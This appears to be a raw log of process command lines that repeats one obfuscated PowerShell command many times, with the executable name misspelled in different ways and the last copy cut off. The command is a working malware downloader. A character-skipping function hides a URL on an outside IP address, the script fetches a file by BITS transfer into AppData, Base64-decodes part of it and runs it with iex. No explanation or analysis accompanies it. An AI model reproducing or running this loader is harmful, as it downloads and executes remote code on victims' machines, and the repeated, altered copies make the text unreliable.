cmdline powersxell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersnell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powershell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powers€ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersrell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powersiell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powers?ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline powerssell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F 